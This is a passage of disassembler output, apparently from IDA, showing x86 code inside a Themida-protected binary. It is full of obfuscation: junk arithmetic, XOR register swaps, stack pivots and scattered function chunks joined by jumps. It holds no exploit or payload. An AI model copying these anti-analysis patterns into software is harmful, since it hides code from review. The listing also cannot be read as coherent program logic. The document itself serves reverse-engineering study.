pop edi
push ebx
mov ebx, 17D35E23h
or edx, ebx
pop ebx
add edx, 72AE2889h
jmp loc_559853
; ---------------------------------------------------------------------------
loc_558077: ; CODE XREF: sub_556A70+3DBDj
pop esi
xchg ecx, [esp-8+arg_4]
jmp loc_558C33
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558080: ; CODE XREF: Themida_:0055326Fj
push ebx
mov ebx, 0F1DB013Dh
jmp loc_55CADE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55808B: ; CODE XREF: sub_556A70-1747j
xor ecx, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], ecx
xor ecx, [esp-0Ch+arg_8]
jmp loc_552FE2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558099: ; CODE XREF: Themida_:0055B31Aj
pop ebx
pop edi
add ebx, 72784B0Ah
add ebx, 63B9620Ah
add eax, ebx
pop ebx
add eax, 61A523ACh
jmp loc_551EC5
; ---------------------------------------------------------------------------
loc_5580B4: ; CODE XREF: Themida_:0055CE87j
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov ax, [esp]
push 4BAEh
mov [esp], ebp
push esp
jmp loc_553F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5580D7: ; CODE XREF: sub_556A70-462Ej
add ebp, 7D503D14h
jmp loc_555011
; ---------------------------------------------------------------------------
loc_5580E2: ; CODE XREF: sub_556A70-258Fj
; sub_556A70+ADEj ...
push dword ptr [edi+24h]
mov ecx, [esp-16h+arg_10+2]
push eax
mov eax, esp
jmp loc_55CB0C
; ---------------------------------------------------------------------------
loc_5580F0: ; CODE XREF: sub_556A70-28BCj
mov esi, ebp
jmp loc_554FFF
; ---------------------------------------------------------------------------
loc_5580F7: ; CODE XREF: sub_556A70-47CEj
pop esp
sub esi, 5D3870F7h
xchg ebp, esi
inc ebp
jmp loc_55C785
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558106: ; CODE XREF: Themida_:00559559j
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_5559A2
; ---------------------------------------------------------------------------
loc_55811E: ; CODE XREF: Themida_:0055BAD1j
or ecx, ebp
mov ebp, [esp]
jmp loc_557A01
; ---------------------------------------------------------------------------
loc_558128: ; CODE XREF: Themida_:00550C36j
add al, 79h
jmp loc_559EAC
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_5578CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558137: ; CODE XREF: sub_556A70+53E0j
mov esi, edx
jmp loc_55733F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 0DDh
mov [esp], esi
mov esi, 522D86C1h
jmp loc_550C5F
; ---------------------------------------------------------------------------
loc_558153: ; CODE XREF: Themida_:00554EFCj
sub esp, 4
mov [esp], ebp
push 28h
pop ebp
push ebp
pop edx
jmp loc_557C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558AE7
loc_558166: ; CODE XREF: sub_558AE7+6j
push 35C7h
mov [esp+8+var_8], ebx
pop esi
push esi
push eax
push 5060h
mov [esp+10h+var_10], ebx
mov ebx, 38A81CF3h
shl ebx, 3
add ebx, 64CE6C1Dh
jmp loc_55CF56
; END OF FUNCTION CHUNK FOR sub_558AE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55818C: ; CODE XREF: sub_552B74-226j
pop ebx
dec cl
not cl
sub esp, 4
mov [esp+8+var_8], eax
push ecx
jmp loc_550B13
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5581A0: ; CODE XREF: sub_556A70-1FEj
neg ebp
or ebp, 3F9F714Eh
not ebp
add ebp, 49D601CEh
jmp loc_55577A
; ---------------------------------------------------------------------------
loc_5581B5: ; CODE XREF: sub_556A70+5493j
add esp, 4
pop edx
pop ecx
loc_5581BD: ; CODE XREF: sub_556A70+D74j
push 24F4h
mov [esp-1Ch+arg_18], edi
mov edi, esp
push ebx
mov ebx, 4
add edi, 30056EE9h
add edi, 5BEF6F5Dh
add edi, ebx
sub edi, 5BEF6F5Dh
sub edi, 30056EE9h
pop ebx
push 30D6h
mov [esp-18h+arg_14], ebp
jmp loc_5536D3
; ---------------------------------------------------------------------------
loc_5581F5: ; CODE XREF: sub_556A70+5BECj
pop eax
add ebx, ecx
push edx
mov edx, 231E628Eh
push esi
mov esi, 688060E8h
jmp loc_551CCB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_558209: ; CODE XREF: sub_5584F8-2DF4j
push 7C5Ch
mov [esp+4+var_4], ecx
jmp loc_55CF5D
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558216: ; CODE XREF: sub_556A70-5739j
xor eax, 56DA6217h
add ecx, 73CD47E9h
jmp loc_55B8E5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558226: ; CODE XREF: Themida_:00554CEFj
push edx
mov edx, 178F7456h
jmp loc_5588BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558231: ; CODE XREF: sub_556A70+283Ej
pop ecx
jmp loc_555AE4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558237: ; CODE XREF: Themida_:0055B8ACj
imul cx
jmp loc_55A72E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55823F: ; CODE XREF: sub_556A70+4BF6j
xor [esp-1Eh+arg_18+2], esi
jmp loc_55C6B9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558247: ; CODE XREF: Themida_:0055A1ACj
push ebx
mov ebx, esp
push 63D7h
mov [esp], eax
mov eax, 4
add ebx, eax
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 2
sub ebx, 25055FAEh
add ebx, ebp
add ebx, 25055FAEh
jmp loc_55CEBA
; ---------------------------------------------------------------------------
loc_558278: ; CODE XREF: Themida_:0055ACE2j
mov [esp], ecx
mov ecx, 0AF28F5h
sub edx, ecx
jmp loc_5583BD
; =============== S U B R O U T I N E =======================================
sub_558287 proc near ; CODE XREF: sub_555903-E1Dj
push ebp
jmp loc_5576E1
sub_558287 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55828D: ; CODE XREF: sub_556A70+377Dj
pop ecx
add esp, 4
sub dl, bl
mov bx, word ptr [esp-26h+arg_20+2]
add esp, 2
add dl, 0C8h
add al, dl
mov edx, [esp-2Ah+arg_24+2]
add esp, 4
push edx
mov dh, 43h
push ebx
mov bl, dh
jmp loc_550AA3
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5582B3 proc near ; CODE XREF: sub_556A70-173Fj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553517 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553BCA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055647C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055A6DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C9B2 SIZE 0000000F BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 0FE7FA30Bh
sub edi, edx
pop edx
xor eax, edi
push dword ptr [esp+0]
pop edi
push esi
push esp
jmp loc_553BCA
sub_5582B3 endp
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_550BB5
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
jmp loc_558C09
; ---------------------------------------------------------------------------
loc_5582FA: ; CODE XREF: Themida_:00552AECj
push edi
mov edi, 5E9414F1h
sub edx, edi
pop edi
jmp loc_55186D
; ---------------------------------------------------------------------------
loc_558308: ; CODE XREF: Themida_:0055395Cj
push ebp
mov ebp, 427B46C6h
mov ecx, 427B46C2h
xor ecx, ebp
jmp loc_557F4B
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
push 15Fh
mov [esp], eax
mov eax, 68E52877h
push ecx
mov ecx, 4CE83DFBh
not ecx
jmp loc_55AAAA
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55833F: ; CODE XREF: sub_556A70+1A67j
push eax
mov eax, 16A27D80h
sub edi, eax
pop eax
add edi, 6F647959h
jmp sub_5516F8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558353: ; CODE XREF: Themida_:0055A153j
mov esi, 722168BAh
jmp loc_55960F
; ---------------------------------------------------------------------------
loc_55835D: ; CODE XREF: Themida_:005591DBj
pop esp
mov [esp], eax
jmp loc_55843A
; ---------------------------------------------------------------------------
loc_558366: ; CODE XREF: Themida_:0055C20Bj
mov eax, esp
push 3FF7h
mov [esp], ecx
mov ecx, 4
add eax, ecx
jmp loc_55104D
; ---------------------------------------------------------------------------
loc_55837C: ; CODE XREF: Themida_:005551DEj
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55B0F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558391: ; CODE XREF: sub_556A70-502Cj
mov [edi+eax*4], dh
jmp loc_550B06
; ---------------------------------------------------------------------------
loc_558399: ; CODE XREF: sub_556A70-215Fj
mov edx, esp
jmp sub_55A704
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550F53
loc_5583A0: ; CODE XREF: sub_550F53+1D29j
xor edi, ebx
mov ebx, [esp+0Ch+var_C]
jmp loc_557AF1
; END OF FUNCTION CHUNK FOR sub_550F53
; ---------------------------------------------------------------------------
loc_5583AA: ; CODE XREF: Themida_:00554A89j
add esp, 4
sub al, dh
pop edx
push 1617h
mov [esp], ebx
jmp loc_553FC7
; ---------------------------------------------------------------------------
loc_5583BD: ; CODE XREF: Themida_:00558282j
pop ecx
add esi, 77533EBEh
jmp loc_55CDF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5583C9: ; CODE XREF: sub_556A70+3307j
pop eax
jmp loc_550CF4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5583CF: ; CODE XREF: Themida_:00551C3Ej
push eax
jmp loc_55B0C1
; ---------------------------------------------------------------------------
loc_5583D5: ; CODE XREF: Themida_:00551E02j
pop esp
push ebp
sub esp, 4
jmp loc_5539EE
; ---------------------------------------------------------------------------
loc_5583DF: ; CODE XREF: Themida_:00550A7Aj
mov bh, ch
mov cx, [esp]
add esp, 2
jmp loc_5529B4
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5583F6: ; CODE XREF: sub_556A70-309Aj
pop esp
sub esp, 4
mov [esp-20h+arg_1C], ebx
mov bh, 0E3h
push ax
mov al, 0B5h
xor bh, al
jmp loc_550C49
; ---------------------------------------------------------------------------
loc_55840A: ; CODE XREF: sub_556A70+51C1j
add ecx, ebp
pop ebp
push ecx
push [esp-1Eh+arg_1C+2]
mov ecx, [esp-1Ah+arg_14+2]
jmp loc_556174
; ---------------------------------------------------------------------------
loc_55841A: ; CODE XREF: sub_556A70+3BE1j
mov [esp-1Ah+arg_14+2], eax
mov eax, 23CC0906h
inc eax
add eax, 0DC33F6FDh
jmp loc_559B0C
; ---------------------------------------------------------------------------
loc_55842D: ; CODE XREF: sub_556A70-5BFCj
mov ebp, 5BE668E4h
add ebp, 0FFFFFFFFh
jmp loc_55B131
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55843A: ; CODE XREF: Themida_:00558361j
push esp
jmp loc_551A26
; ---------------------------------------------------------------------------
loc_558440: ; CODE XREF: Themida_:00559833j
pop ebx
jmp loc_556E22
; ---------------------------------------------------------------------------
loc_558446: ; CODE XREF: Themida_:005515CAj
sub ebp, 0A9489D4Dh
add ecx, ebp
jmp loc_551749
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 708B57A6h
jmp loc_55980A
; ---------------------------------------------------------------------------
loc_55846F: ; CODE XREF: Themida_:0055522Ej
push ecx
not dword ptr [esp]
pop ecx
xchg ecx, [esp]
pop ebx
not ebx
add ebx, 8450944Ah
mov ebp, ebx
pop ebx
or [edi+1Ch], ebp
jmp loc_556160
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D0E
loc_55848B: ; CODE XREF: sub_558D0E-5D46j
pop ebx
xor edx, edi
pop edi
xor ebx, edx
pop edx
xor ebp, ebx
push [esp+4+var_4]
pop ebx
add esp, 4
jmp loc_55B639
; END OF FUNCTION CHUNK FOR sub_558D0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5584A3: ; CODE XREF: sub_556A70-489Aj
pop ecx
sub bl, dl
sub esp, 4
mov [esp+0Ch+var_C], edx
mov dh, 0CFh
sub dh, 87h
shr dh, 7
add dh, 24h
sub bl, dh
pop edx
mov edx, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55C89E
; ---------------------------------------------------------------------------
loc_5584CE: ; CODE XREF: sub_556A70-26B4j
xor ecx, 94FEB805h
sub edi, ecx
pop ecx
jmp loc_55833F
; ---------------------------------------------------------------------------
loc_5584DC: ; CODE XREF: sub_556A70+71Ej
pop ebx
add esp, 4
push ax
jmp loc_5594D5
; ---------------------------------------------------------------------------
loc_5584EA: ; CODE XREF: sub_556A70+46A5j
add esp, 4
push esi
mov esi, 0D65D9FB9h
jmp loc_5553B7
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5584F8 proc near ; CODE XREF: sub_556A70-3E8Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00550A52 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00550AAD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00550C1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00550D15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00550F7E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005511F6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00551426 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00551B97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055205E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552375 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552498 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005535CB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553B45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554BD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005551E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005551F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005556F4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556238 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556457 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055685D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00558209 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005585A5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00558789 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055897A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00558C43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558DB9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005591E0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559213 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005596E7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055993B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A119 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A8D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A92B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B11A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B2BA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055B305 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B363 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055B3BE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B43B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055B8D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055CA93 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CCCB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CF5D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055CFA6 SIZE 00000015 BYTES
sub esp, 4
jmp loc_55205E
sub_5584F8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558500: ; CODE XREF: sub_556A70-1059j
and ecx, 52FB7985h
neg ecx
push ebx
mov ebx, 0AFB4FA60h
jmp loc_558E51
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
jmp loc_5593D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55851C: ; CODE XREF: sub_55AE6E-58B4j
xor al, dl
jmp loc_559AA3
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55852B: ; CODE XREF: sub_556A70-1DD0j
mov bl, 85h
shl bl, 3
jmp loc_559CF7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558535: ; CODE XREF: Themida_:00559C9Cj
pop ecx
push ebp
jmp loc_556877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55853C: ; CODE XREF: sub_556A70-4ABFj
mov ah, ch
mov dl, ah
jmp loc_55C890
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558545: ; CODE XREF: Themida_:0055B8CEj
add ecx, esi
jmp loc_558819
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
jmp loc_55A2E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558556: ; CODE XREF: sub_556A70+208j
mov esi, 24D72869h
mov ebx, 68236284h
sub ebx, esi
jmp loc_5541EB
; ---------------------------------------------------------------------------
loc_558567: ; CODE XREF: sub_556A70+21CEj
mov [esp+4+var_4], ecx
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55856F: ; CODE XREF: sub_552B74+543Bj
xor esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+4+var_4], edx
jmp loc_55B7CE
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5521AC
loc_55857D: ; CODE XREF: sub_5521AC+31DEj
inc ah
push cx
mov ch, 75h
add ah, ch
pop cx
sub bl, ah
pop eax
sub bl, 9
add bl, 2Ch
sub bl, al
sub bl, 2Ch
push edx
mov dh, 9
jmp loc_55CF71
; END OF FUNCTION CHUNK FOR sub_5521AC
; ---------------------------------------------------------------------------
loc_55859D: ; CODE XREF: Themida_:0055230Dj
xor eax, edx
pop edx
jmp loc_55AC2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5585A5: ; CODE XREF: sub_5584F8-2095j
pop ebx
add ebx, 4
jmp loc_551B97
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5585B1: ; CODE XREF: sub_556A70+3ABEj
pop eax
sub ebp, 6802369Ch
add ebp, 69553AD8h
jmp loc_556426
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559B2A
loc_5585C3: ; CODE XREF: sub_559B2A+14j
pop edx
add edi, ebx
push [esp+4+var_4]
jmp loc_551E81
; END OF FUNCTION CHUNK FOR sub_559B2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_5585CE: ; CODE XREF: sub_553651+69E9j
push esp
pop ecx
add ecx, 4
push 32A5h
mov [esp+0Ch+var_C], esi
push eax
push 23CB0614h
pop eax
shl eax, 5
xor eax, 4FF99005h
push edx
mov edx, eax
mov esi, edx
pop edx
pop eax
shl esi, 4
inc esi
add esi, 966AD7B3h
add ecx, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
xor ecx, [esp+8+var_8]
xor [esp+8+var_8], ecx
xor ecx, [esp+8+var_8]
pop esp
push ecx
push edi
mov edi, 1D6E757Eh
mov ecx, edi
pop edi
add eax, ecx
pop ecx
jmp loc_551CE3
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
loc_558625: ; CODE XREF: Themida_:005555A9j
push edi
mov edi, 5FB05FDCh
mov edx, edi
pop edi
shr edx, 3
and edx, 100C0473h
add edx, 1
neg edx
jmp loc_555858
; ---------------------------------------------------------------------------
loc_558641: ; CODE XREF: Themida_:00557C5Bj
add ebx, 0CD631432h
add edx, ebx
pop ebx
jmp loc_555709
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55864F: ; CODE XREF: sub_556A70+DCj
mov edi, 35E366AFh
push eax
mov eax, 22085CFFh
or edi, eax
pop eax
neg edi
jmp loc_55CAA8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push 1E2Fh
jmp loc_55C767
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558673: ; CODE XREF: sub_556A70+471Bj
add ebx, 47FB37A2h
jmp sub_550BFD
; ---------------------------------------------------------------------------
loc_55867E: ; CODE XREF: sub_556A70+51CFj
and eax, 0EF06814h
neg eax
inc eax
sub eax, 0FD6FDFF9h
sub edi, eax
jmp loc_55AB94
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_558692: ; CODE XREF: sub_559F87-1612j
sub ebx, 4FDD5675h
add ecx, ebx
pop ebx
xchg ecx, [esp+0]
pop esp
add al, bl
add al, 6Eh
sub esp, 4
mov [esp+0], ecx
push 536Ah
mov [esp+0], edx
mov dl, 0BAh
jmp loc_557E84
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_5586B8: ; CODE XREF: sub_554299+6j
or ebp, 4AE9328Eh
add ebp, 570F46D7h
neg ebp
jmp loc_55C5F0
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
loc_5586CB: ; CODE XREF: Themida_:0055C971j
add ebp, esi
add ebp, 64903E5Bh
pop esi
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
push ebp
push 1DBCh
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push edx
mov edx, 4BF159B3h
xor edx, 78C01204h
neg edx
xor edx, 0CCCEB44Bh
add ebp, edx
pop edx
push 4B9h
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push 2F4Ah
mov [esp], ebp
jmp loc_55CD07
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55874B: ; CODE XREF: sub_556A70-1EE1j
sub ebx, 156377BDh
add ebx, edi
jmp loc_553BE9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558758: ; CODE XREF: Themida_:0055B3B9j
add ch, 0C2h
push small 5111h
mov [esp], ax
mov ah, 0D5h
xor ch, ah
pop ax
neg ch
push edx
jmp loc_551383
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558771: ; CODE XREF: sub_556A70+5109j
mov ebp, esp
push edx
mov edx, 4
jmp loc_554E4F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55877E: ; CODE XREF: Themida_:0055B14Ej
btr [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_558789: ; CODE XREF: sub_5584F8+1447j
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_558C43
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_558794: ; CODE XREF: Themida_:00553EF0j
push esi
mov esi, esp
add esi, 4
push ecx
push 4
pop ecx
sub esi, 6C336D6Ch
jmp loc_5517FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_5587AF: ; CODE XREF: sub_5539DB+9164j
pop ebx
sub ebx, 15D00457h
push ebx
pop esi
pop ebx
xor esi, 0D610C28h
sub esi, 67EF4FD8h
dec esi
push ebx
mov ebx, 205223C2h
shl ebx, 8
inc ebx
shl ebx, 7
or ebx, 158A40E4h
xor ebx, 0A33FF33Bh
xor esi, ebx
pop ebx
jmp loc_551CB8
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
loc_5587E7: ; CODE XREF: Themida_:0055937Fj
push eax
mov eax, 690D09ACh
mov edi, eax
pop eax
jmp loc_5599FD
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp], ecx
push eax
push esi
jmp loc_55B207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558805: ; CODE XREF: sub_556A70-1030j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55880A: ; CODE XREF: Themida_:00554626j
mov edx, esp
push esi
mov esi, 4
add edx, esi
jmp loc_553506
; ---------------------------------------------------------------------------
loc_558819: ; CODE XREF: Themida_:00558547j
pop esi
jmp near ptr unk_551C43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_55881F: ; CODE XREF: sub_553B16-469j
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
xor edx, edx
sub esp, 4
mov [esp-4+arg_0], ebx
push ebp
mov ebp, 448D6DCDh
sub [esp+arg_0], 50A97A7Eh
jmp loc_55A84A
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
push 6248h
push 3C71h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_553925
; ---------------------------------------------------------------------------
loc_55885F: ; CODE XREF: Themida_:00555986j
mov edx, [esp]
add esp, 4
movzx eax, al
jmp loc_55AA4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55886D: ; CODE XREF: sub_556A70-5545j
sub ch, 8Ah
xor ch, 96h
not ch
and ch, 0FEh
jmp sub_553E75
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CC90
loc_55887D: ; CODE XREF: sub_55CC90-A3F2j
mov [esp+0Ch+var_C], eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
xchg eax, [esp+0Ch+var_C]
pop esp
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], eax
push ecx
push eax
mov eax, 7F510D17h
jmp sub_552634
; END OF FUNCTION CHUNK FOR sub_55CC90
; ---------------------------------------------------------------------------
loc_5588BC: ; CODE XREF: Themida_:0055822Cj
neg edx
xor edx, 41DB669Ah
xor edx, 55576E36h
jmp loc_55CE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5588CF: ; CODE XREF: sub_556A70+A82j
or edi, 39B44324h
shl edi, 4
xor edi, 9199CFF0h
xor ebx, edi
pop edi
and eax, ebx
mov ebx, [esp-0Eh+arg_8+2]
jmp loc_5544D9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_5588EB: ; CODE XREF: sub_55AA5F-6D76j
xchg edi, [esp+0]
jmp loc_550E79
; END OF FUNCTION CHUNK FOR sub_55AA5F
